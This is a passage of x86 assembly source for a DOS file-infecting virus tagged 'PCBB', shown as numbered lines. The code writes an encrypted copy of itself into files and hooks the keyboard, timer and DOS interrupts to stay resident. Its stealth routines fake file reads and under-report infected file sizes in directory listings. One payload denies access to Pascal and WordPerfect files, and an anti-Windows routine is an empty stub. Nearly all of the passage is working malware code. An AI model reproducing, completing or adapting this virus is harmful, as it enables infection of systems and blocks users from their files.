  1007.                 xor     cx,cx
  1008.                 mov     cl,encr_h_len
  1009.                 add     cx,(offset total)-100h
  1010.                 add     cx,append
  1011.                 mov     size,cx
  1012.  
  1013.                 mov     cx,31                   ;the last bytes remain
  1014.                 rep     movsb                   ;degarbeled
  1015.  
  1016.                 mov     ah,40h                  ;Write to handle
  1017.                 mov     cx,offset total-100h    ;CX = Bytes
  1018.                 mov     dx,offset total         ;DX = Garbeled code
  1019.                 call    int21                   ;Call Dos
  1020.                 clc
  1021.                 lahf
  1022.                 cmp     al,cl                   ;all bytes written?
  1023.                 je      encr_b1
  1024.                 stc
  1025.                 lahf
  1026. encr_b1:
  1027.                 pop es                          ;restore ES & DS
  1028.                 pop ds
  1029.                 sahf
  1030.                 ret                             ;return
  1031.  
  1032.  
  1033. ;│▌█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▐│
  1034. ;│▌█  Choose which encryption-head to use with this generation, and store   █▐│
  1035. ;│▌█  the pointer and the two internal offsets for later use.               █▐│
  1036. ;│▌█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█▐│
  1037. choose_encryption_head:
  1038.                 mov     ah,2Ah                  ;get date
  1039.                 call    int21                   ;using DOS
  1040.                 xor     ah,ah                   ;clear bits 9-16 of AX
  1041.                 mov     cx,ax                   ;copy AX into CX
  1042.                 inc     cx
  1043.                 and     cl,7
  1044.                 mov     si,offset enc_data      ;point SI to Enc_Data
  1045.  
  1046.                 cld                             ;clear direction flag
  1047.  
  1048. lete_etter_enc:
  1049.                 lodsb                           ;al=[si] , si=si+1
  1050.                 add     si,ax                   ;si = si + ax
  1051.                 inc     si                      ;si = si + 1
  1052.                 inc     si                      ;si = si + 1
  1053.                 loop    lete_etter_enc          ;continue the searching ...
  1054.  
  1055. funnet_riktige:
  1056.                 sub     si,ax
  1057.                 dec     si
  1058.                 dec     si
  1059.  
  1060.                 mov     encr_h_len,al
  1061.                 lodsb                           ;load the CX offset
  1062.                 mov     encr_h_cx,al
  1063.                 lodsb                           ;load the XOR offset
  1064.                 mov     encr_h_xor,al
  1065.                 mov     encr_h_ofs,si
  1066.                 ret
  1067.  
  1068.  
  1069. ;db 'Eddie lives... Somewhere in time...'
  1070.  
  1071. init:
  1072.                 cli
  1073.                 xor     ax,ax
  1074.                 mov     ds,ax
  1075.                 mov     si,9*4
  1076.                 mov     di,offset old_key
  1077.                 movsw
  1078.                 movsw
  1079.                 add     si,(1Ch*4)-(9*4)-4
  1080.                 mov     di,offset oldh
  1081.                 movsw
  1082.                 movsw
  1083.                 add     si,(21h*4)-(1Ch*4)-4
  1084.                 mov     di,offset org21
  1085.                 movsw
  1086.                 movsw
  1087.  
  1088.                 mov     word [09h*4+2],cs
  1089.                 mov     word [09h*4],  offset key_rout
  1090.  
  1091.                 mov     word [1Ch*4+2],cs
  1092.                 mov     word [1Ch*4],  offset tmr_rout
  1093.  
  1094.                 mov     word [21h*4+2],cs
  1095.                 mov     word [21h*4],  offset ni21
  1096.                 sti
  1097.  
  1098.                 retf
  1099.  
  1100.  
  1101. ;│▌█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▐│
  1102. ;│▌█              Disk Stealth:  Read from handle (Int 21h,3Fh)             █▐│
  1103. ;│▌█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█▐│
  1104. read:
  1105.                 call    push_all
  1106.  
  1107.                 mov     cs:_handle,bx
  1108.                 mov     cs:_bytes,cx
  1109.  
  1110.                 push    cs
  1111.                 pop     ds
  1112.  
  1113.                 mov     ax,1220h
  1114.                 push    bx
  1115.                 push    ax
  1116.                 int     2Fh
  1117.                 mov     bl,es:[di]
  1118.                 pop     ax
  1119.                 sub     al,0Ah
  1120.                 int     2Fh
  1121.                 pop     bx
  1122.  
  1123.                 cmp     word ptr [di+28h],'OC'
  1124.                 jne     j_dso1
  1125.                 cmp     byte ptr [di+28h+2],'M'
  1126.                 je      j_dso0
  1127. j_dso1:
  1128.                 cmp     word ptr [di+28h],'XE'
  1129.                 jne     j_dso3
  1130.                 cmp     byte ptr [di+28h+2],'E'
  1131.                 je      j_dso0
  1132. j_dso3:
  1133.                 jmp     phocked
  1134.  
  1135. j_dso0:
  1136.                 push    es:[di+15h]
  1137.                 push    es:[di+17h]
  1138.                 push    es:[di+2h]
  1139.                 or      byte es:[di+2],3
  1140.  
  1141.                 mov     ax,es:[di+15h]
  1142.                 mov     pos[0],ax
  1143.                 mov     ax,es:[di+17h]
  1144.                 mov     pos[2],ax
  1145.  
  1146.                 mov     ax,es:[di+11h]
  1147.                 mov     cx,es:[di+13h]
  1148.  
  1149.                 sub     ax,31
  1150.                 sbb     cx,0
  1151.                 mov     es:[di+15h],ax
  1152.                 mov     es:[di+17h],cx
  1153.  
  1154.                 mov     ah,3Fh
  1155.                 mov     cx,31
  1156.                 mov     dx,header
  1157.                 call    int21
  1158.                 jnc     read_b1
  1159. read_b2:
  1160.                 jmp     done_it
  1161. read_b1:
  1162.                 cmp     al,31
  1163.                 jne     read_b2
  1164.                 cmp     byte [header+18h],11
  1165.                 jl      read_b2
  1166.  
  1167.                 cmp     word ptr [header+1Bh],'CP' ;[X_sig]
  1168.                 jne     read_b2
  1169.                 cmp     word ptr [header+1Bh+2],'BB' ;[X_sig+2]
  1170.                 jne     read_b2
  1171.  
  1172.                 mov     si,header
  1173.                 push    cx
  1174.                 mov     cx,12
  1175. decr_l8b:
  1176.                 lodsw
  1177.                 xor     ax,'EL'
  1178.                 xor     ax,'AH'
  1179.                 xor     ax,'W&'
  1180.                 xor     ax,'HS'
  1181.                 xor     ax,'IF'
  1182.                 mov     [si-2],ax
  1183.                 loop    decr_l8b
  1184.                 pop     cx
  1185.  
  1186.                 cmp     word ptr pos[2],0
  1187.  
  1188.                 jne     vid4
  1189.                 cmp     word pos[0],23 ;2
  1190.  
  1191.                 ja      vid4
  1192.  
  1193.                 mov     stat2,1
  1194.  
  1195.                 mov     ax,pos[0]
  1196.                 mov     bx,_bytes
  1197.                 cmp     bx,24
  1198.                 jb      vid5
  1199.                 mov     bx,24
  1200. vid5:
  1201.         sub     bx,ax
  1202.         mov     stealth1st[0],bx
  1203. vid4:
  1204.                 mov     ax,es:[di+11h]
  1205.                 mov     dx,es:[di+13h]
  1206.                 sub     ax,[header+19h] ;[x_size]
  1207.                 sbb     dx,0
  1208.                 mov     val_len[0],ax
  1209.                 mov     val_len[2],dx
  1210.  
  1211.                 mov     bx,pos[0]
  1212.                 mov     cx,pos[2]
  1213.  
  1214.                 cmp     cx,dx
  1215.                 jbe     vid2
  1216.                 mov     _bytes,0
  1217.                 jmp     done_it
  1218. vid2:
  1219.                 cmp     cx,dx
  1220.                 jne     vid3
  1221.                 cmp     bx,ax
  1222.                 jb      vid3
  1223.                 mov     _bytes,0
  1224.                 jmp     done_it
  1225. vid3:
  1226.                 mov     ax,val_len[0]
  1227.                 mov     dx,val_len[2]
  1228.  
  1229.                 mov     bx,pos[0]
  1230.                 mov     cx,pos[2]
  1231.                 add     bx,_bytes
  1232.                 adc     cx,0
  1233.  
  1234.                 cmp     cx,dx
  1235.                 jae     vid
  1236.                 mov     _bytes,0
  1237.                 jmp     done_it
  1238.  
  1239. vid:
  1240.                 cmp     cx,dx
  1241.                 jne     done_it
  1242.  
  1243.                 cmp     ax,bx
  1244.                 jae     done_it
  1245.  
  1246.                 sub     bx,ax
  1247.                 sub     _bytes,bx
  1248.  
  1249. done_it:
  1250.                 pop     es:[di+2]               ;restore SFT data's
  1251.                 pop     es:[di+17h]
  1252.                 pop     es:[di+15h]
  1253. phocked:
  1254.                 call    pop_all
  1255.  
  1256.                 mov     cx,cs:_bytes            ;change CX (if of any use)
  1257.  
  1258.                 ret                             ;return
  1259.  
  1260.  
  1261. ;│▌█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█▐│
  1262. ;│▌█                               DIR Stealth                              █▐│
  1263. ;│▌█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█▐│
  1264.  
  1265. stealth_dir_handle:
  1266.                 jc done_stealthing_handle
  1267.  
  1268.                 pushf
  1269.                 call    push_all
  1270.  
  1271.                 mov     ah,2Fh
  1272.                 call    int21
  1273.                 mov     ax,word ptr es:[bx+16h]
  1274.                 and     al,31
  1275.                 cmp     al,sec
  1276.                 jne     done_stealthing_handle
  1277.  
  1278.                 cmp     word es:[bx+1Ah],3*1024
  1279.                 jc      done_stealthing_handle
  1280.                 sub     word es:[bx+1Ah],3*1024
  1281.                 sbb     word es:[bx+1Ch],0
  1282.  
  1283. done_stealthing_handle:
  1284.                 jmp     done_stealthing_fcb
  1285.  
  1286. stealth_dir_fcb:
  1287.                 pushf
  1288.                 call    push_all
  1289.  
  1290.                 mov     ah,2Fh
  1291.                 call    int21
  1292.  
  1293.                 cmp     byte es:[bx],0FFh       ;extended fcb?
  1294.                 jne     no_ext_fcb
  1295.                 add     bx,7
  1296. no_ext_fcb:
  1297.                 mov     al,byte ptr es:[bx+17h]
  1298.                 and     al,31
  1299.                 cmp     al,sec
  1300.                 jne     done_stealthing_fcb
  1301.  
  1302.                 cmp     word es:[bx+1Dh],3*1024
  1303.                 jc      done_stealthing_fcb
  1304.                 sub     word es:[bx+1Dh],3*1024
  1305.                 sbb     word es:[bx+1Fh],0
  1306.  
  1307. done_stealthing_fcb:
  1308.                 call    pop_all
  1309.                 popf
  1310.                 ret
  1311.  
  1312.  
  1313. reset_i24:      push    ds
  1314.                 push    dx
  1315.                 push    ax
  1316.                 lds     dx,cs:o24[0]
  1317.  
  1318.                 mov     ax,2524h                ;restore int 24 vector
  1319.                 call    int21
  1320.                 pop     ax
  1321.                 pop     dx
  1322.                 pop     ds
  1323.                 ret
  1324.  
  1325. wpbuff  db '   '
  1326. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1327. ;                Deny access to any PASCAL or WORD PERFECT files
  1328. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1329. PAS_WP:
  1330.                 xchg    bx,ax
  1331.  
  1332.                 mov     si,dx
  1333.                 cld
  1334. search_pas:
  1335.                 lodsw
  1336.                 dec     si
  1337.  
  1338.                 cmp     al,0
  1339.                 je      not_pas
  1340.                 cmp     ah,0
  1341.                 je      not_pas
  1342.  
  1343.                 and     ax,0DFDFh
  1344.  
  1345.                 cmp     ax,'P.' and 0DFDFh
  1346.                 jne     search_pas
  1347.                 mov     ax,word [si+1]
  1348.                 and     ax,0DFDFh
  1349.                 cmp     ax,'SA'
  1350.                 je      fuck_wp
  1351. not_pas:
  1352.                 xchg    bx,ax
  1353.                 call    int21
  1354.                 jc      not_wp
  1355.  
  1356.                 xchg    bx,ax
  1357.                 cmp     bx,5
  1358.                 jb      not_wp
  1359.  
  1360.                 xor     si,si
  1361.  
  1362.                 mov     ah,3Fh
  1363.                 mov     cx,3
  1364.                 push    cs
  1365.                 pop     ds
  1366.                 mov     dx,offset wpbuff
  1367.                 call    int21
  1368.  
  1369.                 jc      close_wp
  1370.                 cmp     cx,3
  1371.                 jne     close_wp
  1372.  
  1373.                 cmp     word wpbuff[1],'PW'
  1374.  
  1375.                 jne     close_wp
  1376.  
  1377.                 inc     si
  1378. close_wp:
  1379.                 mov     ah,3Eh
  1380.                 call    int21
  1381.                 cmp     si,0
  1382.                 je      not_wp
  1383.  
  1384. fuck_wp:        pop     si
  1385.                 call    reset_i24
  1386.                 call    pop_all
  1387.                 popf
  1388.                 mov     ax,4
  1389.                 stc
  1390.                 retf 2
  1391. not_wp:
  1392.                 mov     ah,3Dh
  1393.                 ret
  1394.  
  1395. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1396. ;                             Anti WiNDOWS Routine
  1397. ;                     (Just started... Not at all ready!!!)
  1398. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1399. windows:
  1400.                 ret
  1401.  
  1402. ;;                call    push_all
  1403. ;                xchg    cx,ax
  1404. ;                mov     di,dx
  1405. ;                push    ds
  1406. ;                pop     es
  1407. ;                cld
  1408. ;                xor     al,al
  1409. ;winsrc:         repnz   scasb
  1410. ;                jne     win_fail
  1411. ;
  1412. ;                sub     di,8
  1413. ;                xchg    si,di
  1414.  
  1415.  
  1416. ;db 'Eloï, Eloï, lamá sabaktáni?'
  1417.  
  1418. dummy           db 18h dup(0)   ;3
  1419.  
  1420. version         db ver                          ;\
  1421. size            dw (offset total)-100h          ; > 6 bytes
  1422. db 'PCBB'                                       ;/
  1423.  
  1424. total:
  1425.         tsr_para        equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2
  1426.  
  1427.  
  1428.